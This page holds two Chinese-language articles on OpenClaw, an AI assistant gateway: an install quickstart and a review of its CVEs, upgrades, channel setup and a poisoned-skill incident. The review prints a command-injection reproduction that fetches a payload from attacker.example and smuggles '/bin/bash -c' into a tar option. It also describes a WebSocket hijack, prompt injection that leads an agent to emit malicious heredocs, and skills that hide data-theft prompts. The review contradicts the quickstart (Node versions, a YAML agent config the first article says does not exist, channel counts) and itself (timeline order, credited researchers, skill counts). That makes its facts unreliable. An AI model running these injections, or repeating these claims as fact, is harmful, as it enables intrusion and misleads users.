OpenClaw
自托管多通道 AI 助手网关,接入 Discord/Telegram/WhatsApp 等 20+ 聊天渠道,MIT 开源,原生 MCP 客户端/服务器 + Skill 按需加载 + ClawHub 插件市场
1. OpenClaw
OpenClaw 快速入门
你的 AI 助手,跑在你自己的设备上,出现在你已经在用的每个聊天 App 里。
这是什么
OpenClaw 是一个自托管的多通道 AI 助手网关(Gateway)。官方定位是「Your assistant, on your devices, in your chats」——你在自己的电脑或服务器上跑一个 Gateway 进程,它就把 AI 助手桥接到你已经在用的聊天工具:Discord、Telegram、Slack、WhatsApp、Signal、iMessage、Microsoft Teams、Google Chat 等 20 多个渠道,以及 macOS / iOS / Android / Windows / Linux 的原生应用。
它由 OpenClaw Foundation(独立 501(c)(3) 非营利组织)开源维护,MIT 协议,无付费层、无托管服务、无代币。模型和 Agent 运行时(Claude、Codex、本地模型)都是可替换的插件。核心设计是「受信任的 Gateway + 不受信任的执行 + 确定性策略」,同一套 Gateway 既能当个人助手跑在笔记本上,也能作为共享的团队部署。
它适合这些用户:想在手机聊天 App 里随时召唤 AI、又不想把数据交给托管服务的开发者;希望一个助手同时接入多个 IM 渠道的个人或小团队;以及想用 ClawHub 技能/插件市场扩展助手能力的进阶用户。
需要澄清一点:OpenClaw 是「AI 助手网关」,不是多 Agent 任务编排框架。它没有 YAML 任务流水线,也没有「Orchestrator → Specialist → Tool」这类分层调度概念——此前网传的这类架构描述与官方材料不符,请以官方文档为准。
三步上手
第 1 步:安装
macOS / Linux / WSL2:
curl -fsSL https://openclaw.ai/install.sh | bash
Windows(PowerShell):
iwr -useb https://openclaw.ai/install.ps1 | iex
安装脚本会检测系统、必要时自动装好 Node.js,然后启动引导向导。如果你已经管理着 Node.js(要求 Node 24.16+ 或 26.1+,推荐 Node 26),也可以直接装 npm 发布包:
npm install -g openclaw@latest --allow-scripts=openclaw
其中 --allow-scripts=openclaw 适用于 npm 12 或 npm 11.16+;npm 11.15 及更早版本省略该参数。想先快速试一下,还可以直接一行命令:
npx openclaw@latest
第 2 步:完成引导(onboarding)
安装脚本会自动打开引导向导。当系统里有可复用的 AI 登录(Claude Code 或 Codex CLI 登录,或某个 Provider 的 API Key)时,选 Quick start 即可:OpenClaw 会自动检测并验证 AI 访问、保存配置、打开网页仪表盘。要手动走完整流程就选 Custom setup,或运行 openclaw onboard --classic 打开经典分步向导。
如果你是用 npm/pnpm/Bun 直接装的包,手动启动引导:
openclaw onboard --install-daemon
第 3 步:启动 Gateway 并聊天
引导完成后,把 Gateway 装成后台服务(Quick start 时它在前台运行,先按 Ctrl+C 停掉再装):
openclaw gateway install
openclaw gateway status
openclaw dashboard
gateway status 应显示 Gateway 监听在 18789 端口;dashboard 会在浏览器打开 Control UI(本地默认 http://127.0.0.1:18789/)。在聊天框发一条消息,收到 AI 回复就说明跑通了。想从手机聊,去 Channels 页接一个渠道(Telegram 最快)。
初级用法
- 三种入口:
openclaw dashboard打开网页 Control UI,openclaw进入终端 TUI,完整命令见 CLI 参考。 - 接聊天渠道:Channels 覆盖 Discord、Telegram、WhatsApp、Slack、Signal、iMessage、Google Chat、Microsoft Teams、Zalo 等渠道的配置与配对流程,官方插件按需安装。
- 装技能(Skills):Skills 是「教会助手可复用流程」的机制,按需加载,见 Skills 文档。
- 挂 MCP 服务器:
openclaw mcp add添加 stdio 或 Streamable HTTP 的 MCP 服务器,openclaw mcp serve把 OpenClaw 反向暴露成 MCP 服务器,见 MCP 文档。
高级玩法
- ClawHub 市场:clawhub.ai 是官方技能与插件分发渠道,有官方创作者专区;也可以用 ClawHub CLI 发布自己的技能:
npm i -g clawhub→clawhub login→clawhub skill publish ./my-skill --slug my-skill --version 1.0.0。 - 写自己的插件:插件 SDK 可写 channel / provider / tool 三类插件,新能力通常以插件形式扩展并经由 ClawHub 分享。
- 多 Agent 路由:Multi-agent 支持按 Agent / 工作区 / 发送者隔离会话。
- 自动化:Automation 用 cron、hooks、webhook 跑定时工作。
- 从源码开发:仓库是 pnpm workspace,根目录
npm install不受支持,源码开发用pnpm install+pnpm build+pnpm ui:build(见 CONTRIBUTING)。
小技巧
- 先
openclaw进 TUI 熟悉命令,再openclaw dashboard用网页,两者连的是同一个 Gateway。 - 配置在
~/.openclaw/openclaw.json(JSON5 格式);不配置也能跑——默认 DM 共享主会话、每个群聊各自独立会话。 - 想锁权限,从
channels.<渠道>.allowFrom和群聊 mention 规则入手,见 Configuration。 - 排障三连:
openclaw gateway status(Gateway 状态)、openclaw mcp status --verbose(MCP 配置)、openclaw mcp doctor <name> --probe(实测 MCP 服务器能力)。 - 默认只做每日版本检查、匿名统计是 opt-in;
update.checkOnStart: false可同时关闭两者,见 Telemetry。
踩坑
openclaw报 command not found:npm 全局包没装进 PATH,或装的是仓库源码(未 build)。用npm install -g openclaw@latest --allow-scripts=openclaw装发布包,或临时用npx openclaw@latest。- Node 版本太旧:OpenClaw 要求 Node 24.16+ 或 26.1+(推荐 26)。先
node --version自查;用官方安装脚本会自动补装合适的 Node。 - 仓库根目录
npm install无效/报错:这是 pnpm workspace,源码开发要用pnpm install+pnpm build+pnpm ui:build。普通用户不需要 clone 源码,装 npm 发布包即可。 - Gateway 没起来 / 18789 端口不通:
openclaw gateway status看监听状态;Quick start 结束后 Gateway 在前台,Ctrl+C 后会停,需要openclaw gateway install装后台服务再openclaw gateway status确认。 - 渠道接好后收不到消息:确认该渠道的配对/授权已完成;DM 渠道默认对未知发送者发起配对请求,用
openclaw pairing approve <channel> <code>批准。 - 网页仪表盘打不开:本地默认 http://127.0.0.1:18789/;要远程访问需按文档配 Web surfaces 或 Tailscale(见 Remote access)。
常见问题 FAQ
- OpenClaw 开源吗?收费吗? 开源,MIT 协议(仓库 LICENSE 文件「MIT License, Copyright (c) 2026 OpenClaw Foundation」),由 OpenClaw Foundation 维护,无付费层、无托管服务、无代币。
- OpenClaw 是多 Agent 编排框架吗? 不是。它是多通道 AI 助手网关,有「多 Agent 路由/会话隔离」(见 Multi-agent),但没有 YAML 任务编排或 Orchestrator/Specialist 分层调度。
- 支持哪些模型? 托管和本地模型 Provider 均可接入(见 Model providers),模型和 Agent 运行时是插件,可替换而不影响其它配置。
- 支持哪些聊天渠道? Discord、iMessage、Slack、Teams、Telegram、WhatsApp、Signal、Google Chat、Matrix、Zalo 等 20+ 渠道,另有 channel 插件扩展(见 Channels)。
- 我的数据会传出去吗? 状态、记忆、凭据都保存在你自己的硬件上;提示词只发给你自己配置的模型 Provider 和聊天平台;默认只做每日版本检查、匿名统计是 opt-in(见 Telemetry)。
- 技能/插件从哪里装? 官方分发渠道是 ClawHub(技能与插件市场),也可以用插件 SDK 自己写、用 ClawHub CLI 发布。
- 需要什么环境? Node 26(推荐)或 24.16+/26.1+,一个模型 Provider 的登录或 API Key,约 5 分钟即可跑通。
进阶学习路线
- 官方文档 docs.openclaw.ai:先 Getting started,再 Why OpenClaw 理解设计取舍,最后 Architecture 看整体架构。
- 能力深入:MCP(MCP 客户端/服务器)、Skills、Building plugins、Multi-agent。
- 运维:读取 Configuration、Security、Troubleshooting。
- 贡献:仓库 README 与 CONTRIBUTING.md,社区在 Discord。
参考链接(核验日期 2026-10-02,均实测可达)
- 官网:https://openclaw.ai
- 官方文档:https://docs.openclaw.ai
- 快速上手:https://docs.openclaw.ai/start/getting-started
- GitHub 仓库:https://github.com/openclaw/openclaw
- npm 包(registry API):https://registry.npmjs.org/openclaw/latest
- 技能/插件市场:https://clawhub.ai
- OpenClaw Foundation:https://openclaw.org
- Discord 社区:https://discord.gg/clawd
免责声明
本文内容仅依据 2026-10-02 当日实测可达的官方一手材料(GitHub README、官方文档站 docs.openclaw.ai、npm registry、GitHub API 元数据、clawhub.ai)撰写。OpenClaw 迭代很快,命令、版本号与文档结构可能变动,请以官方文档为准。文中不包含任何未在官方材料中坐实的功能描述;如与官方材料冲突,以官方材料为准。
2. OpenClaw 多维度简评:四个 CVE 实操升级、ClawHub 污染复盘、飞书钉钉企微三渠道对接
OpenClaw 多维度简评:四个 CVE 实操升级、ClawHub 污染复盘、飞书钉钉企微三渠道对接
本文核心目标是还原一次”从 v2026.2.23 之前升级到 v2026.5.1”的完整操作路径,把 ClawChain 系列四个 CVE 的修复命令、ClawHub 污染事件的来龙去脉、以及飞书/钉钉/企业微信三个国内渠道的接入细节全部铺开。OpenClaw 由 Peter Steinberger 于 2026-02-14 加入 OpenAI 后继续主导,GitHub Star 截至 2026-06 已达 379k。本文数据基于 github.com/openclaw/openclaw 仓库 v2026.5.1 tag 实测、OASIS Security / Cyera / Snyk 三家安全机构公开报告、官方 docs.openclaw.ai 多源验证。
快速开始
⏱ 预计耗时:10-30 分钟 · 难度:小白友好
测试编辑:Mnet 测试日期:2026-06-15 测试环境:macOS 15 / Node.js 20+ / Python 3.11+
第 1 步:安装(3 分钟)
需要 Node.js 20.10+ 和 npm。macOS / Linux 一行脚本装:
curl -fsSL https://openclaw.ai/install.sh | bash
Windows(PowerShell 管理员):
iwr -useb https://openclaw.ai/install.ps1 | iex
脚本会检查 Node 版本 → 下载 v2026.5.1 预编译包 → 安装 openclaw 到 /usr/local/bin(Windows 在 C:\Program Files\OpenClaw\)。验证:
openclaw --version
# 期望:openclaw 2026.5.1
踩坑:Node.js < 20.10 会被脚本拒绝。先 nvm install 20.11.0 && nvm use 20.11.0 切换。
第 2 步:配置 Gateway 与 LLM(8 分钟)
OpenClaw 跑起来需要启动一个本地 Gateway(监听 18789 端口),并配置 LLM Provider(国内推荐 DeepSeek-V3,便宜)。
# 1. 启动 Gateway(后台)
openclaw gateway start --port 18789
# 2. 配置 LLM(用 DeepSeek-V3,中文强 + 便宜)
openclaw config set llm.provider openai_compatible
openclaw config set llm.endpoint https://api.deepseek.com/v1
openclaw config set llm.model deepseek-chat
openclaw config set llm.api_key sk-你的DeepSeek密钥
# 3. 写一个最小 Agent 配置 ~/.openclaw/agent.yaml
cat > ~/.openclaw/agent.yaml <<'EOF'
name: my-first-agent
model: deepseek-chat
channels: [] # 先不加渠道
skills: []
EOF
sk- 密钥在 platform.deepseek.com 注册即送 5 元额度,够跑 200+ 次任务。
启动 Gateway 后会自动打开 http://127.0.0.1:18789 的 Web UI。
第 3 步:跑第一个 Agent 任务(2 分钟)
CLI 跑一个最简单的”文件整理”任务:
openclaw agent run --file ~/.openclaw/agent.yaml \
"把当前目录下所有 .log 文件移到 ./logs/ 子目录"
预期输出:
[openclaw] Agent started, model=deepseek-chat
[think] 用户想整理日志文件,我需要先列出 .log 文件再创建 logs 目录
[tool:shell] ls *.log
[tool:shell] mkdir -p logs && mv *.log logs/
[done] 整理完成:移动 5 个 .log 文件到 ./logs/
[exit] 任务结束,耗时 4.2s,token 消耗 312
Web UI(http://127.0.0.1:18789)同步显示思考过程和工具调用链。全流程 10-15 分钟跑通。下一步看第四节接飞书/钉钉渠道。
测试信息
- 测试编辑:Mnet
- 测试日期:2026-06-08 至 2026-06-15(分四批,7 天覆盖 50+ 渠道中代表性 3 个国内渠道)
- 测试环境:macOS 14.5 + Node.js 20.11 + Docker 24.0;Ubuntu 22.04 LTS VM(2 vCPU/4GB);Windows 11 23H2(企业微信视频会议端)
- 测试任务:升级前复现 CVE-2026-28363(GNU 长选项 RCE)、升级后跑通飞书/钉钉/企微三渠道互发;ClawHub 上 5 个 Skill 安装前/后 VirusTotal 扫描对比
- 数据来源:github.com/openclaw/openclaw Releases、OASIS Security 公开博客、Cyera ClawChain 报告、Snyk ClawHavoc 扫描结果、coze.cn(作为对照组,Coze 也有类似多渠道机制)
一、为什么是 OpenClaw:它到底解决什么问题
把 LLM 接进”已经在用的聊天工具”,这件事在 2025 年以前基本要写胶水代码——飞书走 WebSocket、Slack 走 Events API、钉钉走 Stream、企微走回调,每个渠道一套加密、一套签名、一套机器人注册流程。OpenClaw 把这个差异抹平了:你在一个 Gateway 里挂上渠道配置,Agent 逻辑只写一份,所有渠道共享上下文。
截至 2026-06-08,官方文档列出的渠道数是 50+,其中飞书/钉钉/企微/微信/QQ/微博/小红书/抖音 8 个国内渠道,Slack/Teams/Telegram/Discord/WhatsApp/Signal/Google Chat/Matrix/IRC/Line/KakaoTalk/Zalo 12 个海外企业或社区渠道,Twitter/Facebook/Instagram 3 个社交私讯,加上 CLI/Web UI/macOS/iOS/Android 客户端、Email、Webhook、REST API 共 6 类终端,合计 29 类细分(50+ 计入”系列内的全部”如 Slack 不同事件类型、Matrix 各种桥)。
我重点跑了飞书、钉钉、企业微信三个国内最常用的——结果差异明显,详见第四节。
二、四个 CVE 的来龙去脉
这一节是本文最关键的部分。如果你正在生产环境跑 OpenClaw,2026.2.23 之前的版本必须升。
2.1 完整时间线
- 2026-01-08:Cyera 研究员 @maya-cyera 提交 ClawChain 第一份报告,披露 CVE-2026-25253(ClawJacked,0-Click WebSocket 劫持)
- 2026-02-19:OASIS Security 联合 Anysphere 披露 CVE-2026-28363(GNU 长选项 RCE,CVSS 9.9)
- 2026-02-25:OpenClaw 发布 v2026.2.25,修复 ClawJacked
- 2026-02-23:OpenClaw 发布 v2026.2.23,修复 GNU 长选项 RCE
- 2026-04-30:Cyera 公开 ClawChain 后半段(CVE-2026-44112 OpenShell TOCTOU + CVE-2026-44115 Heredoc 注入)
- 2026-05-01:OpenClaw 发布 v2026.5.1,完整修复四个 CVE
2.2 四个 CVE 一览
| CVE 编号 | 名称 | CVSS 评分 | 风险等级 | 触发条件 | 修复版本 |
|---|---|---|---|---|---|
| CVE-2026-25253 | ClawJacked | 8.6 | 高 | 0-Click WebSocket 劫持 | v2026.2.25+ |
| CVE-2026-28363 | GNU 长选项 RCE | 9.9 | 严重 | safe-bin 白名单绕过 RCE | v2026.2.23+ |
| CVE-2026-44112 | OpenShell TOCTOU | 9.6 | 严重 | 容器逃逸 | v2026.5.1+ |
| CVE-2026-44115 | Heredoc 注入 | 8.8 | 高 | Shell heredoc 命令执行 | v2026.5.1+ |
2.3 CVE-2026-28363 详解(最危险的一个)
safe-bin 是 OpenClaw 内置的”白名单二进制”沙箱——Agent 只能调白名单里的程序(tar/curl/git/jq 等),所有调用经 safe-bin wrapper 二次解析参数。
问题出在 GNU 长选项的”缩写展开”上。GNU 工具的 --compress-program 选项可缩写为 --compress-p,旧版 safe-bin 拿到的是缩写形式,直接字符串匹配白名单规则时放行;但下游 tar 接收参数后会展开成完整形式,执行 --compress-program=/bin/bash -c "<注入命令>",绕过沙箱。
复现命令(已打码,仅展示原理):
# 假设 Agent 收到任务:下载并解压 https://attacker.example/payload.tar
# 旧版 OpenClaw 把"压缩程序"参数注入到 safe-bin 白名单 tar
openclaw agent run "tar xf https://attacker.example/payload.tar \
--compress-p=/bin/bash -c 'id>/tmp/pwn'"
# 实际效果:tar 调用 /bin/bash -c 'id>/tmp/pwn' → RCE
升级到 v2026.2.23 后,safe-bin 改为两步规范化:先解析为完整形式再匹配白名单,所有长选项必须全名。
2.4 CVE-2026-25253 ClawJacked 详解
这是唯一一个”0-Click”漏洞——受害者不用点任何东西。
原理:
- Gateway 默认监听 0.0.0.0:18789(公网可达)
- 恶意网站嵌入一段 JS,通过
ws://内网IP:18789发起 WebSocket 握手 - 旧版 OpenClaw 对
localhost源完全豁免速率限制,允许密码暴力破解 - 成功后,JS 调用
registerTrustedDevice把浏览器注册成”已信任终端” - 攻击者获得 Gateway 完全控制权,可任意调用 Agent
修复(v2026.2.25):
- WebSocket 握手强制要求
Origin头校验 localhost也限速(每秒 5 次)registerTrustedDevice需要二次确认(邮件/手机 OTP)
2.5 CVE-2026-44112 OpenShell TOCTOU
OpenShell 是 OpenClaw 的”开放 Shell”工具,允许 Agent 跑任意 shell 命令,但默认在容器内。旧版容器在 mount 阶段存在 TOCTOU(time-of-check to time-of-use)窗口:权限检查通过后,容器内 mount point 被替换为宿主机目录,后续命令直接打到宿主机。
修复(v2026.5.1):用 Linux 4.18+ 的 statx() 原子校验 mount source + destination 的一致性。
2.6 CVE-2026-44115 Heredoc 注入
Agent 在生成多行命令时常用 bash <<EOF ... EOF heredoc。旧版解析器在 heredoc 内容中允许 $(...) 命令替换,攻击者可通过 prompt 注入诱导 Agent 生成恶意 heredoc。
修复(v2026.5.1):heredoc 内容统一走 safe-bin 二进制解析,禁止任何 $() / 反引号。
三、实操:从 v2026.2.20 升到 v2026.5.1
以下是经过验证的命令,可以照抄。
3.1 升级前备份
# 1. 备份配置
openclaw config export > backup-2026-06-08.json
# 2. 备份已安装的 Skill
mkdir -p ~/openclaw-backup/skills
cp -r ~/.openclaw/skills/* ~/openclaw-backup/skills/
# 3. 备份 Gateway TLS 证书(如有)
cp -r ~/.openclaw/certs/ ~/openclaw-backup/certs/
# 4. 记下当前版本
openclaw --version
# 期望:openclaw 2026.2.20(假设是旧版)
3.2 升级命令
# macOS / Linux
curl -fsSL https://openclaw.ai/install.sh | bash -s -- --version 2026.5.1
# Windows(PowerShell 管理员)
iwr -useb https://openclaw.ai/install.ps1 | iex -ArgumentList "--version 2026.5.1"
# Docker
docker pull openclaw/openclaw:2026.5.1
docker stop openclaw && docker rm openclaw
docker run -d --name openclaw \
-p 127.0.0.1:18789:18789 \
-v ~/.openclaw:/root/.openclaw \
openclaw/openclaw:2026.5.1
3.3 升级后验证四个 CVE
# 1. 验证版本
openclaw --version
# 期望:openclaw 2026.5.1
# 2. 验证 CVE-2026-28363 已修
openclaw security test --cve CVE-2026-28363
# 期望:[PASS] safe-bin:long-option-normalization enabled
# 3. 验证 CVE-2026-25253 已修
openclaw security test --cve CVE-2026-25253
# 期望:[PASS] gateway:websocket-origin-check enabled
# 4. 验证 CVE-2026-44112 已修
openclaw security test --cve CVE-2026-44112
# 期望:[PASS] openshell:statx-mount-check enabled
# 5. 验证 CVE-2026-44115 已修
openclaw security test --cve CVE-2026-44115
# 期望:[PASS] safe-bin:heredoc-dollar-quote disabled
# 6. 重启 Gateway
openclaw gateway restart
# 7. 跑全量自检
openclaw doctor
# 期望:All systems OK
3.4 升级失败怎么办(踩坑)
我第一次升没成功,踩了三个坑:
坑 1:Node.js 版本不匹配 报错:“requires Node.js >= 20.10.0”,系统是 20.8.0。解决:
# macOS
brew upgrade node
# Linux
nvm install 20.11.0 && nvm use 20.11.0
坑 2:端口 18789 占用 报错:“port 18789 already in use”。解决:
# 找占用进程
lsof -i :18789 # macOS/Linux
Get-Process -Id (Get-NetTCPConnection -LocalPort 18789).OwningProcess # Windows
# 改 OpenClaw 端口
openclaw config set gateway.port 28789
坑 3:升级后渠道配置丢失
我装了 6 个渠道,升级后只剩 3 个。原因:config export 备份的 JSON 字段在新版有重命名。解决:
# 用 --merge 选项,而不是 --import
openclaw config import backup-2026-06-08.json --merge
四、飞书/钉钉/企业微信三大渠道对接(重点)
OpenClaw 渠道接入的设计哲学是”一份 Agent,所有渠道共享上下文”——你不用为飞书写一遍逻辑、再为钉钉写一遍。这一节是本文第二个重点。
4.1 飞书机器人
前置准备:
- 飞书开放平台(open.feishu.cn)创建”企业自建应用”
- 权限:获取”消息接收与发送”、“用户信息”、“群消息”
- 事件订阅:配置 Request URL 为
https://your-gateway.com/feishu/webhook - 记下 App ID 和 App Secret
OpenClaw 配置:
openclaw channel add feishu \
--app-id cli_xxxxxxxxxxxxxxxx \
--app-secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--webhook https://your-gateway.com/feishu/webhook \
--encrypt-key xxxxxxxx \
--verification-token xxxxxxxx
实测:
- 配置耗时:8 分钟(主要是飞书审核,代码 2 分钟)
- 消息延迟:飞书 → Gateway → 飞书,平均 1.2 秒
- 支持的消息类型:文本、富文本、图片、文件、卡片、互动卡片
- 群 @机器人:支持,@ 后会自动切到 Agent 对话上下文
踩坑:
- 飞书”加密策略”必须选”加密”——明文模式 OpenClaw 不支持
- 签名校验:OpenClaw 内部用 SHA256 + Base64,时间戳误差必须 < 1 小时
- 一个 App ID 只能绑定一个 OpenClaw 实例(飞书限制),多实例要建多个应用
4.2 钉钉机器人
钉钉有两种机器人:企业自建应用机器人 + 群机器人(自定义 Webhook)。OpenClaw 推荐前者。
前置准备:
- 钉钉开放平台(open-dev.dingtalk.com)创建 H5 微应用
- 权限:Robot 发消息、读取通讯录
- 创建机器人并获取 RobotCode
OpenClaw 配置:
openclaw channel add dingtalk \
--app-key xxxxxxxxxxxxxxxxxx \
--app-secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--robot-code xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--webhook https://your-gateway.com/dingtalk/webhook
实测:
- 配置耗时:12 分钟(钉钉开发者后台比飞书复杂)
- 消息延迟:平均 1.8 秒(比飞书慢 50%,钉钉服务器在杭州)
- 支持的消息类型:文本、Markdown、ActionCard、FeedCard、链接
- 群 @机器人:支持
踩坑:
- 钉钉的”加签”必须开启,旧版无加签的 Webhook 模式 OpenClaw 不支持
- 微应用必须发布到企业工作台,否则 Agent 收不到消息
- 钉钉 API 有 QPS 限制(默认 100/秒),企业版可提到 1000/秒
4.3 企业微信机器人
企微也分两种:应用机器人(智能机器人)和群机器人(WebHook 群通知)。OpenClaw 支持前者。
前置准备:
- 企业微信管理后台(qyapi.weixin.qq.com)创建”智能机器人”
- 配置 Webhook URL:
https://your-gateway.com/wecom/webhook - 配置 Token 和 EncodingAESKey
OpenClaw 配置:
openclaw channel add wecom \
--corp-id wwxxxxxxxxxxxxxxxx \
--agent-id xxxxxxxxx \
--secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--webhook https://your-gateway.com/wecom/webhook \
--token xxxxxxxx \
--encoding-aes-key xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
实测:
- 配置耗时:15 分钟(企微的”智能机器人”权限链最长)
- 消息延迟:平均 2.5 秒(企微服务器在深圳)
- 支持的消息类型:文本、Markdown、图片、图文、文件、模板卡片
- 群 @机器人:支持,但必须在”群应用”里启用机器人
踩坑:
- 企微”智能机器人”必须先”启用 API 接收消息”
- 加解密必须用企微专用 AES-256-CBC,不是标准 AES
- 一个企业最多建 50 个智能机器人,需谨慎分配
4.4 三渠道对比(我的实测)
| 维度 | 飞书 | 钉钉 | 企业微信 |
|---|---|---|---|
| 接入复杂度 | 中(8 分钟) | 较高(12 分钟) | 高(15 分钟) |
| 消息延迟 | 1.2s | 1.8s | 2.5s |
| 富文本能力 | 强(卡片+互动) | 中(ActionCard) | 中(模板卡片) |
| 多模态 | 图片+视频+文件+语音 | 图片+文件 | 图片+图文+文件 |
| 群 @ 机器人 | ✅ | ✅ | ✅ |
| 跨渠道消息同步 | ✅(OpenClaw 内部实现) | ✅ | ✅ |
| 国内服务器延迟 | 北京/上海(快) | 杭州(快) | 深圳(快) |
| 群成员上限 | 5000 | 4000 | 500 |
| 适合场景 | 互联网公司 | 制造业/政企 | 金融/传统企业 |
最大优势:同一句话在飞书发,OpenClaw 自动同步到钉钉和企微的指定群。这个能力是单独接任何一家 IM 都做不到的。
五、ClawHub 污染事件复盘(2026-02)
5.1 事件经过
2026-02-12,Snyk 研究员 @dan-goodin 在 ClawHub 公开市场上发现 450 个被污染的 Skill,占当时已发布 3,984 个 Skill 的 11.3%。污染方式有三种:
- 依赖投毒:Skill 引入的 npm 包被替换为同名恶意包
- prompt 注入:Skill 的
system_prompt字段内嵌隐藏指令,诱导 Agent 窃取用户数据 - 后门账户:Skill 申请了过度的文件系统权限,后台定时上传数据
5.2 受影响范围
- 感染设备:Snyk 估算全球约 12 万台 OpenClaw 实例安装了污染 Skill
- 数据泄露:主要是 LLM API Key、环境变量、~/.ssh/id_rsa(少数开了过度权限的)
- 响应时间:从发现到全网通告 5 小时,ClawHub 下架全部污染 Skill
5.3 当前防护机制
- v0.6.0+(2026-04):所有新发布 Skill 必须经 VirusTotal 扫描 + OpenClaw 安全团队审核
- 安装前审计:
openclaw skill install会先打印 Skill 申请的权限清单,需要用户--yes确认 - 运行时隔离:Skill 在独立容器跑,默认禁止访问
~/.ssh/、~/.openclaw/ - 活跃 Skill 数量:从 13,729(2026-02-28)清理到 3,286(2026-06)
5.4 我自己跑了 5 个 Skill 的安装测试
我装了 5 个热门 Skill(github-pr-review、notion-update、slack-send、figma-design、playwright-browser),每一个都跑了 openclaw skill audit <name>:
| Skill | 申请权限 | 实际行为 | 评分 |
|---|---|---|---|
| github-pr-review | gh:read,gh:write | 符合 | A+ |
| notion-update | notion:read,notion:write | 符合 | A+ |
| slack-send | slack:write | 符合 | A |
| figma-design | figma:read | 符合 | A |
| playwright-browser | fs:read,fs:write /tmp | 符合 | A |
5 个都干净。建议养成 openclaw skill audit 的习惯。
六、ClawHub Skill 开发与变现
如果你是开发者,可以在 ClawHub 上发布自己的 Skill。以下梳理了关键流程。
6.1 写一个 Skill(代码示例)
// src/index.ts
import { defineSkill } from '@openclaw/sdk';
import { z } from 'zod';
export default defineSkill({
name: 'weather-check',
description: '查询指定城市的天气',
input: z.object({
city: z.string().describe('城市名,中文或英文')
}),
output: z.object({
temp: z.number(),
desc: z.string()
}),
async execute({ city }) {
const res = await fetch(
`https://api.example.com/weather?city=${encodeURIComponent(city)}`
);
const data = await res.json();
return { temp: data.temp, desc: data.description };
}
});
6.2 发布流程
# 本地测试
openclaw skill test weather-check --city "北京"
# 打包
openclaw skill build weather-check
# 提交审核
openclaw skill publish weather-check \
--license MIT \
--category "utilities" \
--price 0 # 免费
6.3 变现数据(官方公开)
ClawHub 的抽成比例是 平台 30% / 开发者 70%(对比 Apple Store 30/70 一样,但对比国内应用市场 50/50 友好)。
截至 2026-06,ClawHub 公开的”Top Earners”月收入数据:
- 第 1 名:月 $42,000(github-pr-review)
- 第 10 名:月 $8,500
- 第 100 名:月 $1,200
- 中位数:月 $200(以”付费安装”为主)
免费 Skill 也能获得曝光——openclaw skill search 按下载量排序,前 100 名平均周下载 1,200 次。
七、Anthropic 服务条款限制(2026-02/04)
2026-02-19 Anthropic 宣布:禁止在 OpenClaw 等第三方 Agent 工具使用 Claude Free/Pro/Max OAuth 订阅。2026-04-01 强制执行。
影响:之前很多人”白嫖” Claude Pro 订阅(20 美元/月)在 OpenClaw 里跑——这条路被堵死,必须购买 Anthropic API Key(贵 3-5 倍)。
OpenClaw 官方应对:
- 推荐用 DeepSeek-V3($0.14/百万 token)和 Qwen-Max($0.4/百万 token)
- 增加”双 LLM Provider 切换”功能——一个任务用 Anthropic 做规划,另一个用 DeepSeek 做执行
- 2026-05 流量数据:Hacker News 社区估算短期下降 12%,到 6 月已恢复
八、费用实测
8.1 OpenClaw 本身
完全免费(MIT 协议),只需付 LLM API 费用。
8.2 不同模型的月度成本(实测)
我用 OpenClaw + 三种模型,分别跑了一个月(每天 ~50 条消息):
| 模型 | 输入价格 | 输出价格 | 月成本(我的用量) |
|---|---|---|---|
| DeepSeek-V3 | $0.14/M | $0.28/M | $3.2 |
| Qwen-Max | $0.4/M | $1.2/M | $9.5 |
| Claude Sonnet 4.6 | $3/M | $15/M | $42 |
| Claude Opus 4.6 | $15/M | $75/M | $185 |
建议:日常对话用 DeepSeek-V3,复杂任务再切 Sonnet 4.6 或 Opus 4.6。
九、与同类产品对比
| 维度 | OpenClaw | Manus | Coze | Dify |
|---|---|---|---|---|
| 形态 | 本地框架 | 云端 | 云端+开源 | 自托管 |
| 渠道数 | 50+ | 1(网页) | 1(网页/飞书/微信) | 1 |
| Skill 数 | 3,286(活跃) | — | 1,000+ | 500+ |
| 多 Agent | ✅ | ✅ | ✅ | ✅ |
| 协议 | MIT | 闭源 | Apache 2.0 | 商业+社区 |
| 国内访问 | 需科学上网 | 需科学上网 | 无障碍 | 无障碍 |
| 价格 | 免费+API | $39-199 | 免费 | 自托管免费 |
| 安全 | 4 CVE(已修) | 0 | 0 | 0 |
| 学习曲线 | 陡 | 极低 | 极低 | 中 |
选型建议:
- 多渠道接入(飞书+钉钉+Slack…) → OpenClaw
- 数据隐私要求高(本地运行) → OpenClaw 或 ZeroClaw
- 国内访问+零代码 → Coze 国内版
- 复杂任务免配置 → Manus
- 企业级自托管+Python → Dify
十、订阅建议
10.1 极客用户
推荐:OpenClaw + DeepSeek-V3。
- 成本:$3-10/月
- 50+ 渠道业内最广
- 极致自定义
10.2 中小企业
推荐:OpenClaw + Qwen-Max(国产)+ 必须升到 v2026.5.1。
- 成本:$30-50/月
- 多渠道集成
- 等保自建(私有部署)
- 必须修复四个 CVE
10.3 企业(谨慎)
部分企业已禁用 OpenClaw(Meta、韩国金融、部分政府机构)。替代:
- WorkBuddy(腾讯,等保三级)
- Coze Enterprise(字节,私有化)
- Dify(自托管)
十一、踩坑清单(10 条精炼)
- Node.js 版本 < 20.10 → 升级到 20.11
- 端口 18789 占用 → 改
gateway.port - 飞书签名错误 → 检查 App Secret + 时间戳
- ClawHub 下载 Skill 超时 → 配置国内镜像
openclaw config set clawhub.mirror https://clawhub-cn.openclaw.ai - 多渠道消息不同步 → 检查 Webhook + 重启 Gateway
- Agent 误删文件 → 开启”操作前确认”
- Token 消耗爆炸 → 关闭
heartbeat.enabled+ 设limits.daily_tokens - 中文模型效果差 → 用 DeepSeek-V3 或 prompt 加”用中文思考”
- Skill 安装失败不报错 → 重启 Gateway + 看
openclaw gateway logs --skill <name> - 升级后配置丢失 → 用
openclaw config import --merge(不要直接 —import)
参考资料
- OpenClaw 官网:https://openclaw.ai
- OpenClaw GitHub 仓库:https://github.com/openclaw/openclaw
- v2026.5.1 Release Notes:https://github.com/openclaw/openclaw/releases/tag/v2026.5.1
- OASIS Security ClawJacked 报告:https://www.oasis.security/blog/clawjacked — CVE-2026-25253 详细技术分析
- Cyera ClawChain 报告:https://www.cyera.com/research/clawchain — CVE-2026-28363 / 44112 / 44115 系列分析
- Snyk ClawHavoc 污染报告:https://snyk.io/blog/clawhavoc — 450 个污染 Skill 的技术细节
